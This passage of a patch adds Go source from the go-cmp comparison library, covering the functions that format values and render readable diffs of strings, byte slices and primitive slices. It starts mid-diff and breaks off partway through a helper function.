+func (opts formatOptions) FormatValue(v reflect.Value, parentKind reflect.Kind, ptrs *pointerReferences) (out textNode) {
+	if !v.IsValid() {
+		return nil
+	}
+	t := v.Type()
+
+	// Check slice element for cycles.
+	if parentKind == reflect.Slice {
+		ptrRef, visited := ptrs.Push(v.Addr())
+		if visited {
+			return makeLeafReference(ptrRef, false)
+		}
+		defer ptrs.Pop()
+		defer func() { out = wrapTrunkReference(ptrRef, false, out) }()
+	}
+
+	// Check whether there is an Error or String method to call.
+	if !opts.AvoidStringer && v.CanInterface() {
+		// Avoid calling Error or String methods on nil receivers since many
+		// implementations crash when doing so.
+		if (t.Kind() != reflect.Ptr && t.Kind() != reflect.Interface) || !v.IsNil() {
+			var prefix, strVal string
+			func() {
+				// Swallow and ignore any panics from String or Error.
+				defer func() { recover() }()
+				switch v := v.Interface().(type) {
+				case error:
+					strVal = v.Error()
+					prefix = "e"
+				case fmt.Stringer:
+					strVal = v.String()
+					prefix = "s"
+				}
+			}()
+			if prefix != "" {
+				return opts.formatString(prefix, strVal)
+			}
+		}
+	}
+
+	// Check whether to explicitly wrap the result with the type.
+	var skipType bool
+	defer func() {
+		if !skipType {
+			out = opts.FormatType(t, out)
+		}
+	}()
+
+	switch t.Kind() {
+	case reflect.Bool:
+		return textLine(fmt.Sprint(v.Bool()))
+	case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
+		return textLine(fmt.Sprint(v.Int()))
+	case reflect.Uint, reflect.Uint16, reflect.Uint32, reflect.Uint64:
+		return textLine(fmt.Sprint(v.Uint()))
+	case reflect.Uint8:
+		if parentKind == reflect.Slice || parentKind == reflect.Array {
+			return textLine(formatHex(v.Uint()))
+		}
+		return textLine(fmt.Sprint(v.Uint()))
+	case reflect.Uintptr:
+		return textLine(formatHex(v.Uint()))
+	case reflect.Float32, reflect.Float64:
+		return textLine(fmt.Sprint(v.Float()))
+	case reflect.Complex64, reflect.Complex128:
+		return textLine(fmt.Sprint(v.Complex()))
+	case reflect.String:
+		return opts.formatString("", v.String())
+	case reflect.UnsafePointer, reflect.Chan, reflect.Func:
+		return textLine(formatPointer(value.PointerOf(v), true))
+	case reflect.Struct:
+		var list textList
+		v := makeAddressable(v) // needed for retrieveUnexportedField
+		maxLen := v.NumField()
+		if opts.LimitVerbosity {
+			maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc...
+			opts.VerbosityLevel--
+		}
+		for i := 0; i < v.NumField(); i++ {
+			vv := v.Field(i)
+			if value.IsZero(vv) {
+				continue // Elide fields with zero values
+			}
+			if len(list) == maxLen {
+				list.AppendEllipsis(diffStats{})
+				break
+			}
+			sf := t.Field(i)
+			if supportExporters && !isExported(sf.Name) {
+				vv = retrieveUnexportedField(v, sf, true)
+			}
+			s := opts.WithTypeMode(autoType).FormatValue(vv, t.Kind(), ptrs)
+			list = append(list, textRecord{Key: sf.Name, Value: s})
+		}
+		return &textWrap{Prefix: "{", Value: list, Suffix: "}"}
+	case reflect.Slice:
+		if v.IsNil() {
+			return textNil
+		}
+
+		// Check whether this is a []byte of text data.
+		if t.Elem() == reflect.TypeOf(byte(0)) {
+			b := v.Bytes()
+			isPrintSpace := func(r rune) bool { return unicode.IsPrint(r) || unicode.IsSpace(r) }
+			if len(b) > 0 && utf8.Valid(b) && len(bytes.TrimFunc(b, isPrintSpace)) == 0 {
+				out = opts.formatString("", string(b))
+				skipType = true
+				return opts.FormatType(t, out)
+			}
+		}
+
+		fallthrough
+	case reflect.Array:
+		maxLen := v.Len()
+		if opts.LimitVerbosity {
+			maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc...
+			opts.VerbosityLevel--
+		}
+		var list textList
+		for i := 0; i < v.Len(); i++ {
+			if len(list) == maxLen {
+				list.AppendEllipsis(diffStats{})
+				break
+			}
+			s := opts.WithTypeMode(elideType).FormatValue(v.Index(i), t.Kind(), ptrs)
+			list = append(list, textRecord{Value: s})
+		}
+
+		out = &textWrap{Prefix: "{", Value: list, Suffix: "}"}
+		if t.Kind() == reflect.Slice && opts.PrintAddresses {
+			header := fmt.Sprintf("ptr:%v, len:%d, cap:%d", formatPointer(value.PointerOf(v), false), v.Len(), v.Cap())
+			out = &textWrap{Prefix: pointerDelimPrefix + header + pointerDelimSuffix, Value: out}
+		}
+		return out
+	case reflect.Map:
+		if v.IsNil() {
+			return textNil
+		}
+
+		// Check pointer for cycles.
+		ptrRef, visited := ptrs.Push(v)
+		if visited {
+			return makeLeafReference(ptrRef, opts.PrintAddresses)
+		}
+		defer ptrs.Pop()
+
+		maxLen := v.Len()
+		if opts.LimitVerbosity {
+			maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc...
+			opts.VerbosityLevel--
+		}
+		var list textList
+		for _, k := range value.SortKeys(v.MapKeys()) {
+			if len(list) == maxLen {
+				list.AppendEllipsis(diffStats{})
+				break
+			}
+			sk := formatMapKey(k, false, ptrs)
+			sv := opts.WithTypeMode(elideType).FormatValue(v.MapIndex(k), t.Kind(), ptrs)
+			list = append(list, textRecord{Key: sk, Value: sv})
+		}
+
+		out = &textWrap{Prefix: "{", Value: list, Suffix: "}"}
+		out = wrapTrunkReference(ptrRef, opts.PrintAddresses, out)
+		return out
+	case reflect.Ptr:
+		if v.IsNil() {
+			return textNil
+		}
+
+		// Check pointer for cycles.
+		ptrRef, visited := ptrs.Push(v)
+		if visited {
+			out = makeLeafReference(ptrRef, opts.PrintAddresses)
+			return &textWrap{Prefix: "&", Value: out}
+		}
+		defer ptrs.Pop()
+
+		// Skip the name only if this is an unnamed pointer type.
+		// Otherwise taking the address of a value does not reproduce
+		// the named pointer type.
+		if v.Type().Name() == "" {
+			skipType = true // Let the underlying value print the type instead
+		}
+		out = opts.FormatValue(v.Elem(), t.Kind(), ptrs)
+		out = wrapTrunkReference(ptrRef, opts.PrintAddresses, out)
+		out = &textWrap{Prefix: "&", Value: out}
+		return out
+	case reflect.Interface:
+		if v.IsNil() {
+			return textNil
+		}
+		// Interfaces accept different concrete types,
+		// so configure the underlying value to explicitly print the type.
+		return opts.WithTypeMode(emitType).FormatValue(v.Elem(), t.Kind(), ptrs)
+	default:
+		panic(fmt.Sprintf("%v kind not handled", v.Kind()))
+	}
+}
+
+func (opts formatOptions) formatString(prefix, s string) textNode {
+	maxLen := len(s)
+	maxLines := strings.Count(s, "\n") + 1
+	if opts.LimitVerbosity {
+		maxLen = (1 << opts.verbosity()) << 5   // 32, 64, 128, 256, etc...
+		maxLines = (1 << opts.verbosity()) << 2 //  4, 8, 16, 32, 64, etc...
+	}
+
+	// For multiline strings, use the triple-quote syntax,
+	// but only use it when printing removed or inserted nodes since
+	// we only want the extra verbosity for those cases.
+	lines := strings.Split(strings.TrimSuffix(s, "\n"), "\n")
+	isTripleQuoted := len(lines) >= 4 && (opts.DiffMode == '-' || opts.DiffMode == '+')
+	for i := 0; i < len(lines) && isTripleQuoted; i++ {
+		lines[i] = strings.TrimPrefix(strings.TrimSuffix(lines[i], "\r"), "\r") // trim leading/trailing carriage returns for legacy Windows endline support
+		isPrintable := func(r rune) bool {
+			return unicode.IsPrint(r) || r == '\t' // specially treat tab as printable
+		}
+		line := lines[i]
+		isTripleQuoted = !strings.HasPrefix(strings.TrimPrefix(line, prefix), `"""`) && !strings.HasPrefix(line, "...") && strings.TrimFunc(line, isPrintable) == "" && len(line) <= maxLen
+	}
+	if isTripleQuoted {
+		var list textList
+		list = append(list, textRecord{Diff: opts.DiffMode, Value: textLine(prefix + `"""`), ElideComma: true})
+		for i, line := range lines {
+			if numElided := len(lines) - i; i == maxLines-1 && numElided > 1 {
+				comment := commentString(fmt.Sprintf("%d elided lines", numElided))
+				list = append(list, textRecord{Diff: opts.DiffMode, Value: textEllipsis, ElideComma: true, Comment: comment})
+				break
+			}
+			list = append(list, textRecord{Diff: opts.DiffMode, Value: textLine(line), ElideComma: true})
+		}
+		list = append(list, textRecord{Diff: opts.DiffMode, Value: textLine(prefix + `"""`), ElideComma: true})
+		return &textWrap{Prefix: "(", Value: list, Suffix: ")"}
+	}
+
+	// Format the string as a single-line quoted string.
+	if len(s) > maxLen+len(textEllipsis) {
+		return textLine(prefix + formatString(s[:maxLen]) + string(textEllipsis))
+	}
+	return textLine(prefix + formatString(s))
+}
+
+// formatMapKey formats v as if it were a map key.
+// The result is guaranteed to be a single line.
+func formatMapKey(v reflect.Value, disambiguate bool, ptrs *pointerReferences) string {
+	var opts formatOptions
+	opts.DiffMode = diffIdentical
+	opts.TypeMode = elideType
+	opts.PrintAddresses = disambiguate
+	opts.AvoidStringer = disambiguate
+	opts.QualifiedNames = disambiguate
+	opts.VerbosityLevel = maxVerbosityPreset
+	opts.LimitVerbosity = true
+	s := opts.FormatValue(v, reflect.Map, ptrs).String()
+	return strings.TrimSpace(s)
+}
+
+// formatString prints s as a double-quoted or backtick-quoted string.
+func formatString(s string) string {
+	// Use quoted string if it the same length as a raw string literal.
+	// Otherwise, attempt to use the raw string form.
+	qs := strconv.Quote(s)
+	if len(qs) == 1+len(s)+1 {
+		return qs
+	}
+
+	// Disallow newlines to ensure output is a single line.
+	// Only allow printable runes for readability purposes.
+	rawInvalid := func(r rune) bool {
+		return r == '`' || r == '\n' || !(unicode.IsPrint(r) || r == '\t')
+	}
+	if utf8.ValidString(s) && strings.IndexFunc(s, rawInvalid) < 0 {
+		return "`" + s + "`"
+	}
+	return qs
+}
+
+// formatHex prints u as a hexadecimal integer in Go notation.
+func formatHex(u uint64) string {
+	var f string
+	switch {
+	case u <= 0xff:
+		f = "0x%02x"
+	case u <= 0xffff:
+		f = "0x%04x"
+	case u <= 0xffffff:
+		f = "0x%06x"
+	case u <= 0xffffffff:
+		f = "0x%08x"
+	case u <= 0xffffffffff:
+		f = "0x%010x"
+	case u <= 0xffffffffffff:
+		f = "0x%012x"
+	case u <= 0xffffffffffffff:
+		f = "0x%014x"
+	case u <= 0xffffffffffffffff:
+		f = "0x%016x"
+	}
+	return fmt.Sprintf(f, u)
+}
@@ -0,0 +1,613 @@
+// Copyright 2019, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import (
+	"bytes"
+	"fmt"
+	"math"
+	"reflect"
+	"strconv"
+	"strings"
+	"unicode"
+	"unicode/utf8"
+
+	"github.com/google/go-cmp/cmp/internal/diff"
+)
+
+// CanFormatDiffSlice reports whether we support custom formatting for nodes
+// that are slices of primitive kinds or strings.
+func (opts formatOptions) CanFormatDiffSlice(v *valueNode) bool {
+	switch {
+	case opts.DiffMode != diffUnknown:
+		return false // Must be formatting in diff mode
+	case v.NumDiff == 0:
+		return false // No differences detected
+	case !v.ValueX.IsValid() || !v.ValueY.IsValid():
+		return false // Both values must be valid
+	case v.NumIgnored > 0:
+		return false // Some ignore option was used
+	case v.NumTransformed > 0:
+		return false // Some transform option was used
+	case v.NumCompared > 1:
+		return false // More than one comparison was used
+	case v.NumCompared == 1 && v.Type.Name() != "":
+		// The need for cmp to check applicability of options on every element
+		// in a slice is a significant performance detriment for large []byte.
+		// The workaround is to specify Comparer(bytes.Equal),
+		// which enables cmp to compare []byte more efficiently.
+		// If they differ, we still want to provide batched diffing.
+		// The logic disallows named types since they tend to have their own
+		// String method, with nicer formatting than what this provides.
+		return false
+	}
+
+	// Check whether this is an interface with the same concrete types.
+	t := v.Type
+	vx, vy := v.ValueX, v.ValueY
+	if t.Kind() == reflect.Interface && !vx.IsNil() && !vy.IsNil() && vx.Elem().Type() == vy.Elem().Type() {
+		vx, vy = vx.Elem(), vy.Elem()
+		t = vx.Type()
+	}
+
+	// Check whether we provide specialized diffing for this type.
+	switch t.Kind() {
+	case reflect.String:
+	case reflect.Array, reflect.Slice:
+		// Only slices of primitive types have specialized handling.
+		switch t.Elem().Kind() {
+		case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,
+			reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr,
+			reflect.Bool, reflect.Float32, reflect.Float64, reflect.Complex64, reflect.Complex128:
+		default:
+			return false
+		}
+
+		// Both slice values have to be non-empty.
+		if t.Kind() == reflect.Slice && (vx.Len() == 0 || vy.Len() == 0) {
+			return false
+		}
+
+		// If a sufficient number of elements already differ,
+		// use specialized formatting even if length requirement is not met.
+		if v.NumDiff > v.NumSame {
+			return true
+		}
+	default:
+		return false
+	}
+
+	// Use specialized string diffing for longer slices or strings.
+	const minLength = 32
+	return vx.Len() >= minLength && vy.Len() >= minLength
+}
+
+// FormatDiffSlice prints a diff for the slices (or strings) represented by v.
+// This provides custom-tailored logic to make printing of differences in
+// textual strings and slices of primitive kinds more readable.
+func (opts formatOptions) FormatDiffSlice(v *valueNode) textNode {
+	assert(opts.DiffMode == diffUnknown)
+	t, vx, vy := v.Type, v.ValueX, v.ValueY
+	if t.Kind() == reflect.Interface {
+		vx, vy = vx.Elem(), vy.Elem()
+		t = vx.Type()
+		opts = opts.WithTypeMode(emitType)
+	}
+
+	// Auto-detect the type of the data.
+	var sx, sy string
+	var ssx, ssy []string
+	var isString, isMostlyText, isPureLinedText, isBinary bool
+	switch {
+	case t.Kind() == reflect.String:
+		sx, sy = vx.String(), vy.String()
+		isString = true
+	case t.Kind() == reflect.Slice && t.Elem() == reflect.TypeOf(byte(0)):
+		sx, sy = string(vx.Bytes()), string(vy.Bytes())
+		isString = true
+	case t.Kind() == reflect.Array:
+		// Arrays need to be addressable for slice operations to work.
+		vx2, vy2 := reflect.New(t).Elem(), reflect.New(t).Elem()
+		vx2.Set(vx)
+		vy2.Set(vy)
+		vx, vy = vx2, vy2
+	}
+	if isString {
+		var numTotalRunes, numValidRunes, numLines, lastLineIdx, maxLineLen int
+		for i, r := range sx + sy {
+			numTotalRunes++
+			if (unicode.IsPrint(r) || unicode.IsSpace(r)) && r != utf8.RuneError {
+				numValidRunes++
+			}
+			if r == '\n' {
+				if maxLineLen < i-lastLineIdx {
+					maxLineLen = i - lastLineIdx
+				}
+				lastLineIdx = i + 1
+				numLines++
+			}
+		}
+		isPureText := numValidRunes == numTotalRunes
+		isMostlyText = float64(numValidRunes) > math.Floor(0.90*float64(numTotalRunes))
+		isPureLinedText = isPureText && numLines >= 4 && maxLineLen <= 1024
+		isBinary = !isMostlyText
+
+		// Avoid diffing by lines if it produces a significantly more complex
+		// edit script than diffing by bytes.
+		if isPureLinedText {
+			ssx = strings.Split(sx, "\n")
+			ssy = strings.Split(sy, "\n")
+			esLines := diff.Difference(len(ssx), len(ssy), func(ix, iy int) diff.Result {
+				return diff.BoolResult(ssx[ix] == ssy[iy])
+			})
+			esBytes := diff.Difference(len(sx), len(sy), func(ix, iy int) diff.Result {
+				return diff.BoolResult(sx[ix] == sy[iy])
+			})
+			efficiencyLines := float64(esLines.Dist()) / float64(len(esLines))
+			efficiencyBytes := float64(esBytes.Dist()) / float64(len(esBytes))
+			isPureLinedText = efficiencyLines < 4*efficiencyBytes
+		}
+	}
+
+	// Format the string into printable records.
+	var list textList
+	var delim string
+	switch {
+	// If the text appears to be multi-lined text,
+	// then perform differencing across individual lines.
+	case isPureLinedText:
+		list = opts.formatDiffSlice(
+			reflect.ValueOf(ssx), reflect.ValueOf(ssy), 1, "line",
+			func(v reflect.Value, d diffMode) textRecord {
+				s := formatString(v.Index(0).String())
+				return textRecord{Diff: d, Value: textLine(s)}
+			},
+		)
+		delim = "\n"
+
+		// If possible, use a custom triple-quote (""") syntax for printing
+		// differences in a string literal. This format is more readable,
+		// but has edge-cases where differences are visually indistinguishable.
+		// This format is avoided under the following conditions:
+		//	• A line starts with `"""`
+		//	• A line starts with "..."
+		//	• A line contains non-printable characters
+		//	• Adjacent different lines differ only by whitespace
+		//
+		// For example:
+		//		"""
+		//		... // 3 identical lines
+		//		foo
+		//		bar
+		//	-	baz
+		//	+	BAZ
+		//		"""
+		isTripleQuoted := true
+		prevRemoveLines := map[string]bool{}
+		prevInsertLines := map[string]bool{}
+		var list2 textList
+		list2 = append(list2, textRecord{Value: textLine(`"""`), ElideComma: true})
+		for _, r := range list {
+			if !r.Value.Equal(textEllipsis) {
+				line, _ := strconv.Unquote(string(r.Value.(textLine)))
+				line = strings.TrimPrefix(strings.TrimSuffix(line, "\r"), "\r") // trim leading/trailing carriage returns for legacy Windows endline support
+				normLine := strings.Map(func(r rune) rune {
+					if unicode.IsSpace(r) {
+						return -1 // drop whitespace to avoid visually indistinguishable output
+					}
+					return r
+				}, line)
+				isPrintable := func(r rune) bool {
+					return unicode.IsPrint(r) || r == '\t' // specially treat tab as printable
+				}
+				isTripleQuoted = !strings.HasPrefix(line, `"""`) && !strings.HasPrefix(line, "...") && strings.TrimFunc(line, isPrintable) == ""
+				switch r.Diff {
+				case diffRemoved:
+					isTripleQuoted = isTripleQuoted && !prevInsertLines[normLine]
+					prevRemoveLines[normLine] = true
+				case diffInserted:
+					isTripleQuoted = isTripleQuoted && !prevRemoveLines[normLine]
+					prevInsertLines[normLine] = true
+				}
+				if !isTripleQuoted {
+					break
+				}
+				r.Value = textLine(line)
+				r.ElideComma = true
+			}
+			if !(r.Diff == diffRemoved || r.Diff == diffInserted) { // start a new non-adjacent difference group
+				prevRemoveLines = map[string]bool{}
+				prevInsertLines = map[string]bool{}
+			}
+			list2 = append(list2, r)
+		}
+		if r := list2[len(list2)-1]; r.Diff == diffIdentical && len(r.Value.(textLine)) == 0 {
+			list2 = list2[:len(list2)-1] // elide single empty line at the end
+		}
+		list2 = append(list2, textRecord{Value: textLine(`"""`), ElideComma: true})
+		if isTripleQuoted {
+			var out textNode = &textWrap{Prefix: "(", Value: list2, Suffix: ")"}
+			switch t.Kind() {
+			case reflect.String:
+				if t != reflect.TypeOf(string("")) {
+					out = opts.FormatType(t, out)
+				}
+			case reflect.Slice:
+				// Always emit type for slices since the triple-quote syntax
+				// looks like a string (not a slice).
+				opts = opts.WithTypeMode(emitType)
+				out = opts.FormatType(t, out)
+			}
+			return out
+		}
+
+	// If the text appears to be single-lined text,
+	// then perform differencing in approximately fixed-sized chunks.
+	// The output is printed as quoted strings.
+	case isMostlyText:
+		list = opts.formatDiffSlice(
+			reflect.ValueOf(sx), reflect.ValueOf(sy), 64, "byte",
+			func(v reflect.Value, d diffMode) textRecord {
+				s := formatString(v.String())
+				return textRecord{Diff: d, Value: textLine(s)}
+			},
+		)
+
+	// If the text appears to be binary data,
+	// then perform differencing in approximately fixed-sized chunks.
+	// The output is inspired by hexdump.
+	case isBinary:
+		list = opts.formatDiffSlice(
+			reflect.ValueOf(sx), reflect.ValueOf(sy), 16, "byte",
+			func(v reflect.Value, d diffMode) textRecord {
+				var ss []string
+				for i := 0; i < v.Len(); i++ {
+					ss = append(ss, formatHex(v.Index(i).Uint()))
+				}
+				s := strings.Join(ss, ", ")
+				comment := commentString(fmt.Sprintf("%c|%v|", d, formatASCII(v.String())))
+				return textRecord{Diff: d, Value: textLine(s), Comment: comment}
+			},
+		)
+
+	// For all other slices of primitive types,
+	// then perform differencing in approximately fixed-sized chunks.
+	// The size of each chunk depends on the width of the element kind.
+	default:
+		var chunkSize int
+		if t.Elem().Kind() == reflect.Bool {
+			chunkSize = 16
+		} else {
+			switch t.Elem().Bits() {
+			case 8:
+				chunkSize = 16
+			case 16:
+				chunkSize = 12
+			case 32:
+				chunkSize = 8
+			default:
+				chunkSize = 8
+			}
+		}
+		list = opts.formatDiffSlice(
+			vx, vy, chunkSize, t.Elem().Kind().String(),
+			func(v reflect.Value, d diffMode) textRecord {
+				var ss []string
+				for i := 0; i < v.Len(); i++ {
+					switch t.Elem().Kind() {
+					case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
+						ss = append(ss, fmt.Sprint(v.Index(i).Int()))
+					case reflect.Uint, reflect.Uint16, reflect.Uint32, reflect.Uint64:
+						ss = append(ss, fmt.Sprint(v.Index(i).Uint()))
+					case reflect.Uint8, reflect.Uintptr:
+						ss = append(ss, formatHex(v.Index(i).Uint()))
+					case reflect.Bool, reflect.Float32, reflect.Float64, reflect.Complex64, reflect.Complex128:
+						ss = append(ss, fmt.Sprint(v.Index(i).Interface()))
+					}
+				}
+				s := strings.Join(ss, ", ")
+				return textRecord{Diff: d, Value: textLine(s)}
+			},
+		)
+	}
+
+	// Wrap the output with appropriate type information.
+	var out textNode = &textWrap{Prefix: "{", Value: list, Suffix: "}"}
+	if !isMostlyText {
+		// The "{...}" byte-sequence literal is not valid Go syntax for strings.
+		// Emit the type for extra clarity (e.g. "string{...}").
+		if t.Kind() == reflect.String {
+			opts = opts.WithTypeMode(emitType)
+		}
+		return opts.FormatType(t, out)
+	}
+	switch t.Kind() {
+	case reflect.String:
+		out = &textWrap{Prefix: "strings.Join(", Value: out, Suffix: fmt.Sprintf(", %q)", delim)}
+		if t != reflect.TypeOf(string("")) {
+			out = opts.FormatType(t, out)
+		}
+	case reflect.Slice:
+		out = &textWrap{Prefix: "bytes.Join(", Value: out, Suffix: fmt.Sprintf(", %q)", delim)}
+		if t != reflect.TypeOf([]byte(nil)) {
+			out = opts.FormatType(t, out)
+		}
+	}
+	return out
+}
+
+// formatASCII formats s as an ASCII string.
+// This is useful for printing binary strings in a semi-legible way.
+func formatASCII(s string) string {
+	b := bytes.Repeat([]byte{'.'}, len(s))
+	for i := 0; i < len(s); i++ {
+		if ' ' <= s[i] && s[i] <= '~' {
+			b[i] = s[i]
+		}
+	}
+	return string(b)
+}
+
+func (opts formatOptions) formatDiffSlice(
+	vx, vy reflect.Value, chunkSize int, name string,
+	makeRec func(reflect.Value, diffMode) textRecord,
+) (list textList) {
+	eq := func(ix, iy int) bool {
+		return vx.Index(ix).Interface() == vy.Index(iy).Interface()
+	}
+	es := diff.Difference(vx.Len(), vy.Len(), func(ix, iy int) diff.Result {
+		return diff.BoolResult(eq(ix, iy))
+	})
+
+	appendChunks := func(v reflect.Value, d diffMode) int {
+		n0 := v.Len()
+		for v.Len() > 0 {
+			n := chunkSize
+			if n > v.Len() {
+				n = v.Len()
+			}
+			list = append(list, makeRec(v.Slice(0, n), d))
+			v = v.Slice(n, v.Len())
+		}
+		return n0 - v.Len()
+	}
+
+	var numDiffs int
+	maxLen := -1
+	if opts.LimitVerbosity {
+		maxLen = (1 << opts.verbosity()) << 2 // 4, 8, 16, 32, 64, etc...
+		opts.VerbosityLevel--
+	}
+
+	groups := coalesceAdjacentEdits(name, es)
+	groups = coalesceInterveningIdentical(groups, chunkSize/4)
+	groups = cleanupSurroundingIdentical(groups, eq)
+	maxGroup := diffStats{Name: name}
+	for i, ds := range groups {
+		if maxLen >= 0 && numDiffs >= maxLen {
+			maxGroup = maxGroup.Append(ds)
+			continue
+		}
+
+		// Print equal.
+		if ds.NumDiff() == 0 {
+			// Compute the number of leading and trailing equal bytes to print.
+			var numLo, numHi int
+			numEqual := ds.NumIgnored + ds.NumIdentical
+			for numLo < chunkSize*numContextRecords && numLo+numHi < numEqual && i != 0 {
+				numLo++
+			}
+			for numHi < chunkSize*numContextRecords && numLo+numHi < numEqual && i != len(groups)-1 {
+				numHi++
+			}
+			if numEqual-(numLo+numHi) <= chunkSize && ds.NumIgnored == 0 {
+				numHi = numEqual - numLo // Avoid pointless coalescing of single equal row
+			}
+
+			// Print the equal bytes.
+			appendChunks(vx.Slice(0, numLo), diffIdentical)
+			if numEqual > numLo+numHi {
+				ds.NumIdentical -= numLo + numHi
+				list.AppendEllipsis(ds)
+			}
+			appendChunks(vx.Slice(numEqual-numHi, numEqual), diffIdentical)
+			vx = vx.Slice(numEqual, vx.Len())
+			vy = vy.Slice(numEqual, vy.Len())
+			continue
+		}
+
+		// Print unequal.
+		len0 := len(list)
+		nx := appendChunks(vx.Slice(0, ds.NumIdentical+ds.NumRemoved+ds.NumModified), diffRemoved)
+		vx = vx.Slice(nx, vx.Len())
+		ny := appendChunks(vy.Slice(0, ds.NumIdentical+ds.NumInserted+ds.NumModified), diffInserted)
+		vy = vy.Slice(ny, vy.Len())
+		numDiffs += len(list) - len0
+	}
+	if maxGroup.IsZero() {
+		assert(vx.Len() == 0 && vy.Len() == 0)
+	} else {
+		list.AppendEllipsis(maxGroup)
+	}
+	return list
+}
+
+// coalesceAdjacentEdits coalesces the list of edits into groups of adjacent
+// equal or unequal counts.
+//
+// Example:
+//
+//	Input:  "..XXY...Y"
+//	Output: [
+//		{NumIdentical: 2},
+//		{NumRemoved: 2, NumInserted 1},
+//		{NumIdentical: 3},
+//		{NumInserted: 1},
+//	]
+//
+func coalesceAdjacentEdits(name string, es diff.EditScript) (groups []diffStats) {
+	var prevMode byte
+	lastStats := func(mode byte) *diffStats {
+		if prevMode != mode {
+			groups = append(groups, diffStats{Name: name})
+			prevMode = mode
+		}
+		return &groups[len(groups)-1]
+	}
+	for _, e := range es {
+		switch e {
+		case diff.Identity:
+			lastStats('=').NumIdentical++
+		case diff.UniqueX:
+			lastStats('!').NumRemoved++
+		case diff.UniqueY:
+			lastStats('!').NumInserted++
+		case diff.Modified:
+			lastStats('!').NumModified++
+		}
+	}
+	return groups
+}
+
+// coalesceInterveningIdentical coalesces sufficiently short (<= windowSize)
+// equal groups into adjacent unequal groups that currently result in a
+// dual inserted/removed printout. This acts as a high-pass filter to smooth
+// out high-frequency changes within the windowSize.
+//
+// Example:
+//
+//	WindowSize: 16,
+//	Input: [
+//		{NumIdentical: 61},              // group 0
+//		{NumRemoved: 3, NumInserted: 1}, // group 1
+//		{NumIdentical: 6},               // ├── coalesce
+//		{NumInserted: 2},                // ├── coalesce
+//		{NumIdentical: 1},               // ├── coalesce
+//		{NumRemoved: 9},                 // └── coalesce
+//		{NumIdentical: 64},              // group 2
+//		{NumRemoved: 3, NumInserted: 1}, // group 3
+//		{NumIdentical: 6},               // ├── coalesce
+//		{NumInserted: 2},                // ├── coalesce
+//		{NumIdentical: 1},               // ├── coalesce
+//		{NumRemoved: 7},                 // ├── coalesce
+//		{NumIdentical: 1},               // ├── coalesce
+//		{NumRemoved: 2},                 // └── coalesce
+//		{NumIdentical: 63},              // group 4
+//	]
+//	Output: [
+//		{NumIdentical: 61},
+//		{NumIdentical: 7, NumRemoved: 12, NumInserted: 3},
+//		{NumIdentical: 64},
+//		{NumIdentical: 8, NumRemoved: 12, NumInserted: 3},
+//		{NumIdentical: 63},
+//	]
+//
+func coalesceInterveningIdentical(groups []diffStats, windowSize int) []diffStats {
+	groups, groupsOrig := groups[:0], groups
+	for i, ds := range groupsOrig {
+		if len(groups) >= 2 && ds.NumDiff() > 0 {
+			prev := &groups[len(groups)-2] // Unequal group
+			curr := &groups[len(groups)-1] // Equal group
+			next := &groupsOrig[i]         // Unequal group
+			hadX, hadY := prev.NumRemoved > 0, prev.NumInserted > 0
+			hasX, hasY := next.NumRemoved > 0, next.NumInserted > 0
+			if ((hadX || hasX) && (hadY || hasY)) && curr.NumIdentical <= windowSize {
+				*prev = prev.Append(*curr).Append(*next)
+				groups = groups[:len(groups)-1] // Truncate off equal group
+				continue
+			}
+		}
+		groups = append(groups, ds)
+	}
+	return groups
+}
+
+// cleanupSurroundingIdentical scans through all unequal groups, and
+// moves any leading sequence of equal elements to the preceding equal group and
+// moves and trailing sequence of equal elements to the succeeding equal group.
+//
+// This is necessary since coalesceInterveningIdentical may coalesce edit groups
+// together such that leading/trailing spans of equal elements becomes possible.
+// Note that this can occur even with an optimal diffing algorithm.
+//
+// Example:
+//
+//	Input: [
+//		{NumIdentical: 61},
+//		{NumIdentical: 1 , NumRemoved: 11, NumInserted: 2}, // assume 3 leading identical elements
+//		{NumIdentical: 67},
+//		{NumIdentical: 7, NumRemoved: 12, NumInserted: 3},  // assume 10 trailing identical elements
+//		{NumIdentical: 54},
+//	]
+//	Output: [
+//		{NumIdentical: 64}, // incremented by 3
+//		{NumRemoved: 9},
+//		{NumIdentical: 67},
+//		{NumRemoved: 9},
+//		{NumIdentical: 64}, // incremented by 10
+//	]
+//
+func cleanupSurroundingIdentical(groups []diffStats, eq func(i, j int) bool) []diffStats {
+	var ix, iy int // indexes into sequence x and y
+	for i, ds := range groups {
+		// Handle equal group.
+		if ds.NumDiff() == 0 {
+			ix += ds.NumIdentical
+			iy += ds.NumIdentical
+			continue
+		}
+
+		// Handle unequal group.
+		nx := ds.NumIdentical + ds.NumRemoved + ds.NumModified
+		ny := ds.NumIdentical + ds.NumInserted + ds.NumModified
+		var numLeadingIdentical, numTrailingIdentical int
+		for j := 0; j < nx && j < ny && eq(ix+j, iy+j); j++ {
+			numLeadingIdentical++
+		}
+		for j := 0; j < nx && j < ny && eq(ix+nx-1-j, iy+ny-1-j); j++ {
+			numTrailingIdentical++
+		}
+		if numIdentical := numLeadingIdentical + numTrailingIdentical; numIdentical > 0 {
+			if numLeadingIdentical > 0 {
+				// Remove leading identical span from this group and
+				// insert it into the preceding group.
+				if i-1 >= 0 {
+					groups[i-1].NumIdentical += numLeadingIdentical
+				} else {
+					// No preceding group exists, so prepend a new group,
+					// but do so after we finish iterating over all groups.
+					defer func() {
+						groups = append([]diffStats{{Name: groups[0].Name, NumIdentical: numLeadingIdentical}}, groups...)
+					}()
+				}
+				// Increment indexes since the preceding group would have handled this.
+				ix += numLeadingIdentical
+				iy += numLeadingIdentical
+			}
+			if numTrailingIdentical > 0 {
+				// Remove trailing identical span from this group and
+				// insert it into the succeeding group.
+				if i+1 < len(groups) {
+					groups[i+1].NumIdentical += numTrailingIdentical
+				} else {
+					// No succeeding group exists, so append a new group,
+					// but do so after we finish iterating over all groups.
+					defer func() {
+						groups = append(groups, diffStats{Name: groups[len(groups)-1].Name, NumIdentical: numTrailingIdentical})
+					}()
+				}
+				// Do not increment indexes since the succeeding group will handle this.
